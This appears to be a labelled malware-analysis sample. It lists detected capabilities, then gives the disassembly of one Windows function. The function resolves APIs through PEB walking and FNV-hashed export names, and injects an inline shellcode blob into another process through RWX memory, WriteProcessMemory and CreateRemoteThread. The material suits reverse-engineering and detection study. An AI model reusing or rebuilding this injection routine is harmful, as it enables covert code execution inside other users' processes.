Function at 0x140014850
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x14011b8b0]
xor rax, rsp
mov qword [rbp + 0x60], rax
xor r13d, r13d
xor r15d, r15d
xor r14b, r14b
mov dword [rbp - 0x48], r13d
cmp qword [0x140123ec0], r13
mov r12d, 4
mov dword [rsp + 0x5c], r12d
mov qword [rsp + 0x48], r15
je 0x1400148b5
cmp qword [0x140123ec8], r13
jne 0x140014bdf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x1401240d8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140014968
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
lea rax, [rsi + r11*4]
mov r9d, 0x3c2d592
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140014941
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140014910
cmp r9d, 0xb6c709c4
je 0x140014946
inc r11d
jmp 0x1400148f1
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1401240d8], rax
mov qword [0x140123ec0], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x1401240d0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140014a28
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
lea rax, [rsi + r11*4]
mov r9d, 0x141735cc
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140014a01
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400149d0
cmp r9d, 0x4d2effe7
je 0x140014a06
inc r11d
jmp 0x1400149b0
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x1401240d0], rax
mov qword [0x140123ec8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140123fd8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140014ae8
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
lea rax, [rsi + r11*4]
mov r9d, 0x27570a42
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140014ac1
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140014a90
cmp r9d, 0x993eef03
je 0x140014ac6
inc r11d
jmp 0x140014a70
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140123fd8], rax
mov qword [0x140123ed0], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140123fe8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140014ba8
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
lea rax, [rsi + r11*4]
mov r9d, 0x43bf0518
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140014b81
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140014b50
cmp r9d, 0x1ba79208
je 0x140014b86
inc r11d
jmp 0x140014b30
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140123fe8], rax
cmp qword [0x140123ec0], r13
mov qword [0x140123ed8], rax
je 0x1400161b1
cmp qword [0x140123ec8], r13
je 0x1400161b1
cmp qword [0x140123ed0], r13
je 0x1400161b1
test rax, rax
je 0x1400161b1
cmp dword [0x140123f00], r13d
mov ebx, 1
mov dword [0x140123df4], r15d
je 0x140014c40
cmp dword [0x140123f18], r13d
je 0x140014c40
cmp dword [0x140123ee8], r13d
je 0x140014c40
cmp dword [0x140123f30], r13d
je 0x140014c40
cmp dword [0x140123f48], r13d
je 0x140014c40
mov qword [0x140123ef8], r15
mov qword [0x140123f10], r15
mov qword [0x140123ee0], r15
mov qword [0x140123f28], r15
mov qword [0x140123f40], r15
jmp 0x140014e20
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140123ef8], rax
xor edx, edx
mov rax, qword gs:[0x30]
lea ecx, [rdx + 0x40]
mov r8d, dword [rax + 0x48]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [0x140123ee0], rax
xor edx, edx
mov rax, qword gs:[0x30]
mov ecx, 0x400
mov r8d, dword [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140123f10], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140014cc3
cmp qword [rax + 0x50], r13
jne 0x140014da6
mov rax, qword [rax]
cmp rax, rcx
jne 0x140014cb1
mov rcx, r15
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov r8d, ebx
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [rbp - 0x30], 0x30
xorps xmm0, xmm0
mov qword [0x140123f40], rax
movdqu xmmword [rbp - 0x10], xmm0
mov qword [rbp - 0x28], r15
mov dword [rbp - 0x18], r15d
mov qword [rbp - 0x20], r15
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140124070]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140014dd0
movsxd rax, dword [r10 + 0x3c]
mov r11d, r15d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop word [rax + rax]
mov ebx, r11d
mov r9d, 0x4bf522fc
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140014da1
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140014d70
cmp r9d, 0x4dedd1a
je 0x140014daf
inc r11d
jmp 0x140014d50
mov rcx, qword [rax + 0x40]
jmp 0x140014cc6
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140124070], rax
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rcx, [0x140123f28]
lea edx, [r9 + 8]
call rax
test eax, eax
js 0x140016151
cmp qword [0x140123f40], r13
je 0x140016151
cmp qword [0x140123f10], r13
je 0x140016151
cmp qword [0x140123ee0], r13
je 0x140016151
cmp qword [0x140123ef8], r13
je 0x140016151
mov rax, qword gs:[0x30]
lea r9, [rbp - 0x48]
lea rdx, [rbp - 0x48]
mov ecx, reloc.WS2_32.dll_recv
mov r14, qword [rax + 0x40]
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x48]
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], r15
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], r15
mov rax, qword [0x140123ec8]
mov r8d, dword [rbp - 0x48]
call rax
mov edx, eax
mov rdi, r13
cmp eax, 0xc0000004
jne 0x140014ed4
nop word [rax + rax]
test rdi, rdi
je 0x140014e96
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x48]
xor ecx, ecx
mov r9d, r12d
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x48]
lea r9, [rbp - 0x48]
mov rdi, rax
mov ecx, reloc.WS2_32.dll_recv
mov rax, qword [0x140123ec8]
mov rdx, rdi
call rax
mov edx, eax
cmp eax, 0xc0000004
je 0x140014e80
mov qword [rsp + 0x48], rdi
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], r14
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], rbx
test edx, edx
js 0x140016138
cmp dword [0x140123f00], r13d
je 0x140014f27
cmp dword [0x140123f18], r13d
je 0x140014f27
cmp dword [0x140123ee8], r13d
je 0x140014f27
cmp dword [0x140123f30], r13d
je 0x140014f27
cmp dword [0x140123f48], r13d
jne 0x140015039
mov r9d, r15d
cmp dword [rdi], r15d
jbe 0x140015039
movzx r10d, word [0x140123f40]
movzx r11d, word [0x140123f28]
movzx edi, word [0x140123f10]
movzx esi, word [0x140123ef8]
movzx ebx, word [0x140123ee0]
mov r15, qword [rsp + 0x48]
nop dword [rax]
mov eax, r9d
lea rcx, [rax + rax*2]
movups xmm1, xmmword [r15 + rcx*8 + 8]
movsd xmm0, qword [r15 + rcx*8 + 0x18]
movd eax, xmm1
movups xmmword [rsp + 0x78], xmm1
movsd qword [rbp - 0x78], xmm0
cmp ax, r14w
jne 0x140015027
mov rcx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x80]
mov rdx, rcx
shr rdx, 0x30
cmp dx, si
jne 0x140014fb8
mov rax, rcx
mov qword [0x140123f08], r8
shr rax, 0x20
movzx eax, al
mov dword [0x140123f00], eax
cmp dx, di
jne 0x140014fd4
mov rax, rcx
mov qword [0x140123f20], r8
shr rax, 0x20
movzx eax, al
mov dword [0x140123f18], eax
cmp dx, bx
jne 0x140014ff0
mov rax, rcx
mov qword [0x140123ef0], r8
shr rax, 0x20
movzx eax, al
mov dword [0x140123ee8], eax
cmp dx, r11w
jne 0x14001500d
mov rax, rcx
mov qword [0x140123f38], r8
shr rax, 0x20
movzx eax, al
mov dword [0x140123f30], eax
cmp dx, r10w
jne 0x140015027
shr rcx, 0x20
movzx eax, cl
mov dword [0x140123f48], eax
mov qword [0x140123f50], r8
inc r9d
cmp r9d, dword [r15]
jb 0x140014f60
mov rdi, r15
xor r15d, r15d
mov r9d, dword [rdi]
mov edx, r15d
mov dword [rsp + 0x50], edx
test r9d, r9d
je 0x1400156f1
nop dword [rax]
mov eax, edx
lea rcx, [rax + rax*2]
movups xmm1, xmmword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
movd r10d, xmm1
movups xmmword [rsp + 0x78], xmm1
movzx esi, r10w
movsd qword [rbp - 0x78], xmm0
mov dword [rbp - 0x50], esi
cmp r13d, esi
je 0x1400156bb
mov rax, qword gs:[0x30]
cmp r10w, word [rax + 0x40]
je 0x1400156bb
mov rbx, qword [0x140123f20]
mov r13d, esi
mov dword [rsp + 0x68], esi
mov r8d, r15d
test r9d, r9d
je 0x1400156bb
lea rdx, [rdi + 8]
mov r11d, r9d
mov rcx, rdx
nop dword [rax + rax]
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm1
movsd qword [rbp - 0x60], xmm0
cmp ax, r10w
jne 0x1400150f0
cmp qword [rbp - 0x68], rbx
jne 0x1400150f0
test byte [rbp - 0x60], 0x30
lea eax, [r8 + 1]
cmove eax, r8d
mov r8d, eax
add rcx, 0x18
sub r9, 1
jne 0x1400150c0
test r8d, r8d
je 0x1400156b7
mov rbx, qword [0x140123ef0]
mov r8d, r15d
mov rcx, rdx
mov r9, r11
nop dword [rax]
nop word [rax + rax]
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm1
movsd qword [rbp - 0x60], xmm0
cmp ax, r10w
jne 0x140015150
cmp qword [rbp - 0x68], rbx
jne 0x140015150
test byte [rbp - 0x60], 0x18
lea eax, [r8 + 1]
cmove eax, r8d
mov r8d, eax
add rcx, 0x18
sub r9, 1
jne 0x140015120
test r8d, r8d
je 0x1400156b7
mov r13d, dword [0x140123f30]
mov ecx, r15d
nop dword [rax]
movups xmm1, xmmword [rdx]
movsd xmm0, qword [rdx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm1
movsd qword [rbp - 0x60], xmm0
cmp ax, r10w
jne 0x1400151aa
mov rax, qword [rbp - 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, r13d
jne 0x1400151aa
test dword [rbp - 0x60], 0x1f000f
lea eax, [rcx + 1]
cmove eax, ecx
mov ecx, eax
add rdx, 0x18
sub r11, 1
jne 0x140015170
test ecx, ecx
jne 0x140015aa3
mov rax, qword [0x140123ed0]
xor edx, edx
mov r12, qword [0x140123ec0]
xor r15b, r15b
mov r13, qword [0x140123ed8]
mov esi, dword [0x140123f48]
mov dword [rbp - 0x4c], edx
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x58], rax
mov rax, qword gs:[0x60]
mov dword [rsp + 0x58], esi
mov qword [rbp - 0x40], r12
mov qword [rbp], r13
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
mov byte [rsp + 0x40], r15b
cmp rax, rcx
je 0x140015224
cmp qword [rax + 0x50], rdx
jne 0x140015299
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015212
mov rdi, rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x14001524f
cmp qword [rax + 0x50], rdx
jne 0x14001529f
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015241
mov ebx, edx
xor ecx, ecx
movsxd rdx, ebx
inc rdx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd rdx, ebx
mov r14, rax
mov qword [rsp + 0x60], rax
test ebx, ebx
je 0x1400153c1
lea rcx, [rdx - 1]
lea rcx, [rdi + rcx*2]
cmp word [rcx], 0x5c
je 0x1400152bd
sub rcx, 2
sub rdx, 1
jne 0x140015284
jmp 0x1400153c1
mov rdi, qword [rax + 0x40]
jmp 0x140015227
mov rcx, qword [rax + 0x40]
mov ebx, edx
test rcx, rcx
je 0x14001524f
cmp word [rcx], dx
je 0x140015251
nop
inc ebx
lea rcx, [rcx + 2]
cmp word [rcx], dx
jne 0x1400152b0
jmp 0x140015251
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x1400152f3
nop word [rax + rax]
cmp qword [rax + 0x50], 0
jne 0x140015396
mov rax, qword [rax]
cmp rax, rcx
jne 0x1400152e0
xor ecx, ecx
lea r9, [rdx + rdx]
lea rax, [r9 + rcx]
xor ecx, ecx
test rax, rax
je 0x14001531c
cmp word [rax], cx
je 0x14001531c
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140015310
mov rax, qword gs:[0x60]
movsxd rdx, ecx
shl rdx, 3
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x14001534f
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x14001539f
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015340
xor r8d, r8d
lea rax, [r9 + r8]
mov rcx, r14
cmp r14, rax
jbe 0x1400153a5
add rax, rdx
cmp r14, rax
jae 0x1400153a5
lea rcx, [r14 - 1]
add rcx, rdx
lea r8, [rax - 1]
test rdx, rdx
je 0x1400153c1
nop word [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 - 1]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140015380
jmp 0x1400153c1
mov rcx, qword [rax + 0x40]
jmp 0x1400152f5
mov r8, qword [rax + 0x40]
jmp 0x140015352
test rdx, rdx
je 0x1400153c1
sub r9, r14
add r8, r9
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400153b0
mov rdi, qword [rsp + 0x48]
xor ebx, ebx
mov dword [rsp + 0x54], ebx
cmp dword [rdi], ebx
jbe 0x14001568b
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rbx + rbx*2]
movups xmm1, xmmword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
mov ecx, dword [rbp - 0x50]
movd eax, xmm1
movups xmmword [rbp - 0x70], xmm1
movzx eax, ax
movsd qword [rbp - 0x60], xmm0
cmp eax, ecx
jne 0x14001567d
mov rax, qword [rbp - 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, esi
jne 0x14001567d
test dword [rbp - 0x60], 0x120089
je 0x14001567d
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x70], rax
mov rsi, rax
test rax, rax
je 0x140015679
movzx edx, word [rbp - 0x6a]
lea r9, [rbp - 0x38]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call r13
test eax, eax
js 0x14001566e
mov rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x4c]
mov rbx, qword [rbp - 0x58]
lea r8, [rbp - 0x4c]
mov edi, 1
mov qword [rsp + 0x20], rax
mov edx, edi
mov r9d, reloc.WS2_32.dll_recv
call rbx
mov edx, dword [rbp - 0x4c]
lea r9d, [rdi + 3]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [rbp - 0x4c]
mov edx, edi
mov rcx, qword [rbp - 0x38]
mov r13, rax
lea rax, [rbp - 0x4c]
mov r8, r13
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x14001563f
movzx r15d, word [r14]
lea r12, [r14 + 2]
mov r11, qword [r13 + 8]
mov rdx, r11
test r15w, r15w
je 0x140015581
nop word [rax + rax]
movzx eax, word [rdx]
mov r14, rdx
add rdx, 2
test ax, ax
je 0x140015590
cmp ax, r15w
jne 0x1400154f0
mov r10, r12
test rdx, rdx
je 0x1400154f0
test r12, r12
je 0x1400154f0
mov rdi, rdx
sub rdi, r12
nop dword [rax]
movzx r9d, word [r10]
movzx r8d, word [rdi + r10]
lea esi, [r9 - 0x41]
cmp esi, 0x19
lea ecx, [r9 + 0x20]
lea ebx, [r8 - 0x41]
cmova ecx, r9d
lea eax, [r8 + 0x20]
cmp ebx, 0x19
cmova eax, r8d
cmp eax, ecx
jne 0x140015563
test r8w, r8w
je 0x14001555d
test r9w, r9w
je 0x140015563
add r10, 2
jmp 0x140015520
test r9w, r9w
je 0x14001557e
cmp ebx, 0x19
ja 0x14001556c
add r8d, 0x20
cmp esi, 0x19
ja 0x140015575
add r9d, 0x20
cmp r8d, r9d
jne 0x1400154f0
mov rdx, r14
test rdx, rdx
jne 0x140015621
nop word [rax + rax]
movzx eax, word [r11]
mov rsi, r11
add r11, 2
test ax, ax
je 0x14001562b
cmp ax, 0x73
jne 0x140015590
lea rax, [0x140104a62]
mov r9, rax
test r11, r11
je 0x140015590
mov rbx, r11
sub rbx, rax
nop
movzx r8d, word [r9]
movzx edx, word [rbx + r9]
lea edi, [r8 - 0x41]
cmp edi, 0x19
lea ecx, [r8 + 0x20]
lea r10d, [rdx - 0x41]
cmova ecx, r8d
lea eax, [rdx + 0x20]
cmp r10d, 0x19
cmova eax, edx
cmp eax, ecx
jne 0x140015601
test dx, dx
je 0x1400155fb
test r8w, r8w
je 0x140015601
add r9, 2
jmp 0x1400155c0
test r8w, r8w
je 0x14001561c
cmp r10d, 0x19
ja 0x14001560a
add edx, 0x20
cmp edi, 0x19
ja 0x140015613
add r8d, 0x20
cmp edx, r8d
jne 0x140015590
test rsi, rsi
je 0x14001562b
mov r15b, 1
mov byte [rsp + 0x40], r15b
jmp 0x140015631
movzx r15d, byte [rsp + 0x40]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
mov r12, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14001564b
call r12
test r13, r13
je 0x140015661
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x48]
mov r13, qword [rbp]
mov ebx, dword [rsp + 0x54]
mov rcx, rsi
call r12
test r15b, r15b
jne 0x14001568b
mov esi, dword [rsp + 0x58]
inc ebx
mov dword [rsp + 0x54], ebx
cmp ebx, dword [rdi]
jb 0x1400153e0
test r14, r14
je 0x1400156a1
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15b, r15b
jne 0x140015a99
mov r12d, dword [rsp + 0x5c]
xor r15d, r15d
mov r13d, dword [rsp + 0x68]
mov edx, dword [rsp + 0x50]
cmp word [rsp + 0x7a], 0
jne 0x1400156d6
cmp dword [rbp - 0x78], 0
jne 0x1400156d6
cmp qword [rbp - 0x80], 0
jne 0x1400156d6
add r12d, 0xffffffe8
jmp 0x1400156da
add r12d, 0x18
mov r9d, dword [rdi]
inc edx
mov dword [rsp + 0x5c], r12d
mov dword [rsp + 0x50], edx
cmp edx, r9d
jb 0x140015050
mov eax, r15d
mov dword [rsp + 0x50], eax
test r9d, r9d
je 0x140016109
lea rcx, [rax + rax*2]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
mov r10d, dword [rdi + rcx*8 + 8]
movzx edi, r10w
movsd qword [rbp - 0x78], xmm0
mov dword [rbp - 0x4c], edi
cmp r13d, edi
je 0x1400160ee
mov rax, qword gs:[0x30]
cmp r10w, word [rax + 0x40]
je 0x1400160ee
mov ebx, dword [0x140123f00]
mov r13d, edi
mov dword [rsp + 0x68], edi
mov r8d, r15d
test r9d, r9d
je 0x1400160ee
mov rdx, qword [rsp + 0x48]
add rdx, 8
mov r11d, r9d
mov rcx, rdx
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x78], xmm1
movsd qword [rbp - 0x78], xmm0
cmp ax, r10w
jne 0x140015790
mov rax, qword [rsp + 0x78]
shr rax, 0x20
movzx eax, al
cmp eax, ebx
jne 0x140015790
inc r8d
add rcx, 0x18
sub r9, 1
jne 0x140015761
xor r15d, r15d
test r8d, r8d
je 0x1400160ee
mov ebx, dword [0x140123ee8]
mov r8d, r15d
mov rcx, rdx
mov r9, r11
nop word [rax + rax]
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x78], xmm1
movsd qword [rbp - 0x78], xmm0
cmp ax, r10w
jne 0x1400157ef
mov rax, qword [rsp + 0x78]
shr rax, 0x20
movzx eax, al
cmp eax, ebx
jne 0x1400157ef
inc r8d
add rcx, 0x18
sub r9, 1
jne 0x1400157c0
test r8d, r8d
jne 0x1400160ee
mov r8d, dword [0x140123f18]
mov ecx, r15d
nop dword [rax]
movups xmm1, xmmword [rdx]
movsd xmm0, qword [rdx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x78], xmm1
movsd qword [rbp - 0x78], xmm0
cmp ax, r10w
jne 0x14001583f
mov rax, qword [rsp + 0x78]
shr rax, 0x20
movzx eax, al
cmp eax, r8d
jne 0x14001583f
inc ecx
add rdx, 0x18
sub r11, 1
jne 0x140015810
test ecx, ecx
jne 0x1400160ee
mov r14, qword [0x140123ec0]
xor edx, edx
mov r8d, edi
mov qword [rbp], r15
mov dword [rbp + 0x10], 0x8b486550
mov dword [rbp + 0x14], 0x302504
lea ecx, [rdx + 0x3a]
mov dword [rbp + 0x18], 0x483e0000
mov dword [rbp + 0x1c], 0x16a8b883
mov dword [rbp + 0x20], 0x74000000
mov dword [rbp + 0x24], 0xc7483e20
mov qword [rbp + 0x28], 0x16a880
mov dword [rbp + 0x30], 0xc0314800
mov dword [rbp + 0x34], 0xd5058d48
mov dword [rbp + 0x38], 0x36ffffff
mov dword [rbp + 0x3c], 0x100c748
mov dword [rbp + 0x40], 0x58000000
mov dword [rbp + 0x44], 0xc03148c3
mov dword [rbp + 0x48], 0xc1058d48
mov dword [rbp + 0x4c], 0x36ffffff
mov dword [rbp + 0x50], 0xc748
mov dword [rbp + 0x54], 0x58000000
mov byte [rbp + 0x58], 0xc3
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400159a7
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, r9d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400159a1
mov r9d, 0x49
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x10]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140015990
mov qword [rsp + 0x30], r15
mov r9, rdi
mov dword [rsp + 0x28], r15d
xor edx, edx
mov r8d, 0x1000
mov qword [rsp + 0x20], r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x14001598a
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rbp]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, rsi
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call r14
cmp qword [rbp], r15
jne 0x140016125
mov rax, qword [0x140123ed0]
xor edx, edx
mov r12, qword [0x140123ec0]
mov r13, qword [0x140123ed8]
mov esi, dword [0x140123f48]
mov dword [rbp - 0x50], edx
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x58], rax
mov rax, qword gs:[0x60]
mov dword [rsp + 0x58], esi
mov qword [rsp + 0x70], r12
mov qword [rbp], r13
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
mov byte [rsp + 0x40], r15b
cmp rax, rcx
je 0x140015a17
cmp qword [rax + 0x50], rdx
jne 0x140015ccd
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015a05
mov rdi, rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140015a46
cmp qword [rax + 0x50], rdx
jne 0x140015cd6
mov rax, qword [rax]
cmp rax, rcx
jne 0x140015a34
mov ebx, edx
xor ecx, ecx
movsxd rdx, ebx
inc rdx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd rdx, ebx
mov r14, rax
mov qword [rsp + 0x60], rax
test ebx, ebx
je 0x140015e01
lea rcx, [rdx - 1]
lea rcx, [rdi + rcx*2]
nop dword [rax + rax]
cmp word [rcx], 0x5c
je 0x140015d00
sub rcx, 2
sub rdx, 1
jne 0x140015a80
jmp 0x140015e01
mov r13d, dword [0x140123f30]
mov esi, dword [rbp - 0x50]
mov rbx, qword [rsp + 0x48]
xor eax, eax
mov rdi, qword [0x140123ec0]
xor r14b, r14b
mov r15, qword [0x140123ed8]
mov r12d, eax
